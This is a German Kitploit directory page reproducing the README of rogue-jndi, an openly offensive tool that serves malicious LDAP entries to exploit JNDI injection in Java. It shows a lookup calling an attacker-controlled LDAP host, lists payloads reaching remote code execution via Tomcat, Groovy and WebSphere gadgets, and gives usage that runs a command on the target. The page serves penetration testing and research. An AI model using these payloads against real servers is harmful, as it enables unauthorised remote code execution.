Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
rogue-jndi — Ein bösartiger LDAP-Server für JNDI-Injection-Angriffe | Kitploit
Tools/GitHubGitHub/veracode-research/rogue-jndi
ExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungRed TeamingPayload-Entwicklung
GitHubveracode-research/rogue-jndi

rogue-jndi

Ein bösartiger LDAP-Server für JNDI-Injection-Angriffe

Repository anzeigen
1.1k227vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Rogue JNDI

Ein bösartiger LDAP-Server für JNDI-Injection-Angriffe.

Beschreibung

Das Projekt enthält LDAP- und HTTP-Server zum Ausnutzen der standardmäßig unsicheren Java-JNDI-API.
Um einen Angriff durchzuführen, kannst du diese Server lokal starten und dann eine JNDI-Auflösung auf dem verwundbaren Client auslösen, z. B.:

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Dies leitet eine Verbindung vom verwundbaren Client zum lokalen LDAP-Server ein. Danach antwortet der lokale Server mit einem bösartigen Eintrag, der einen der Payloads enthält, die für die Erzielung einer Remote Code Execution nützlich sein können.

Motivation

Zusätzlich zu den bekannten JNDI-Angriffsmethoden (über entferntes Klassenladen in Referenzen) bringt dieses Werkzeug neue Angriffsvektoren, indem es die Leistungsfähigkeit von ObjectFactories nutzt.

Unterstützte Payloads

  • RemoteReference.java – klassischer JNDI-Angriff, führt über entferntes Klassenladen zu RCE, funktioniert bis jdk8u191
  • Tomcat.java – führt über unsichere Reflexion in org.apache.naming.factory.BeanFactory zu RCE
  • Groovy.java – führt über unsichere Reflexion in org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell zu RCE
  • WebSphere1.java – führt zu OOB-XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java – führt über Klassenpfad-Manipulation in com.ibm.ws.client.applicationclient.ClientJ2CCFFactory zu RCE

Verwendung

root@kitploit:~
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
  Options:
    -c, --command  Command to execute on the target server (default: 
                   /Applications/Calculator.app/Contents/MacOS/Calculator) 
    -n, --hostname Local HTTP server hostname (required for remote 
                   classloading and websphere payloads) (default: 
                   192.168.1.10) 
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8000)
    --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                   (default: /list.wsdl)
    --localjar     [websphere2 payload option] Local jar file to load (this 
                   file should be located on the remote server) (default: 
                   ../../../../../tmp/jar_cache7808167489549525095.tmp) 
    -h, --help     Show this help

Die wichtigsten Parameter sind der Hostname des LDAP-Servers (-n, sollte vom Ziel aus erreichbar sein) und der Befehl, den du auf dem Zielserver ausführen möchtest (-c).

Alternativ zur Option "-c" kannst du die Datei ExportObject.java ändern, indem du Java-Code einfügst, den du auf dem Zielserver ausführen möchtest.

Beispiel:

root@kitploit:~
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

Erstellen

Java v1.7+ und Maven v3+ erforderlich

root@kitploit:~
mvn package

Haftungsausschluss

Diese Software wird ausschließlich für Bildungszwecke und/oder zum Testen von Systemen bereitgestellt, für deren Angriff der Benutzer zuvor die Erlaubnis besitzt.

Besonderer Dank

  • Alvaro Muñoz und Oleksandr Mirosh für das hervorragende Whitepaper über JNDI-Angriffe
  • @zerothoughts für das inspirierende spring-jndi-Repository
  • Moritz Bechler für die bedeutende marshallsec-Forschung
  • Orange Tsai und Welk1n für das Apache- und Groovy-Gadget

Links

  • Ein Artikel über Exploiting JNDI Injections in Java im Veracode-Blog
  • How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

Autoren

Michael Stepankin

Tool herunterladen